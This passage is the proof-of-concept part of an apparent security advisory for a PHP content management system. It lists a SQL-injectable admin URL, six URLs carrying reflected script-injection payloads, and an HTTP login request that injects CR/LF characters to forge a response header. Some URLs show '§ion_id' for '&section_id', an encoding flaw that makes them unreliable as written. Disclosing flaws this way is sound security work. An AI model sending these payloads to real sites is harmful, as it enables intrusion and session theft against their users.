IV. PROOF OF CONCEPT
-------------------------
SQL Injection:
/wb/admin/pages/modify.php?page_id=1
Cross-Site Scripting GET:
/wb/admin/admintools/tool.php?tool=captcha_control&6d442"><script>alert(1)</script>8e3b12642a8=1
/wb/modules/edit_module_files.php?page_id=1&mod_dir=news&edit_file=frontend.css&action=edit&page_id=1§ion_id=%007e393<script>alert(1)</script>9f8a40a7355f9acf0
/wb/modules/news/add_post.php?page_id=1§ion_id=f953a"><script>alert(1)</script>4ddf3369c1f
/wb/modules/news/modify_group.php?page_id=1§ion_id=%008cf03"><script>alert(1)</script>2680504c3ec&group_id=62be99873b33d1d3
/wb/modules/news/modify_post.php?page_id=1§ion_id=%003874a<script>alert(1)</script>4194d511605&post_id=db89943875a2db52
/wb/modules/news/modify_settings.php?page_id=1§ion_id=%008b2f4"><script>alert(1)</script>bdc8b3919b5
HTTP RESPONSE SPLITTING:
If you enter a valid user and password, you can inject on the headers
malicious code, example.
POST /wb/admin/login/index.php HTTP/1.1
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.244.129:80/wb/
Host: 127.0.0.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
password_fieldname=password_nwh1uuwb&password_nwh1uuwb=VALIDPASS&remember=true&submit=Entrar&
url=%0d%0a%20InjectedHeader:MaliciousCode&username_fieldname=username_nwh1uuwb&username_nwh1uuwb=adminResponse
You can inject a new header named: InjectedHeader:MaliciousCode because we
inject a CR&LF new line with %0d%0a%20.
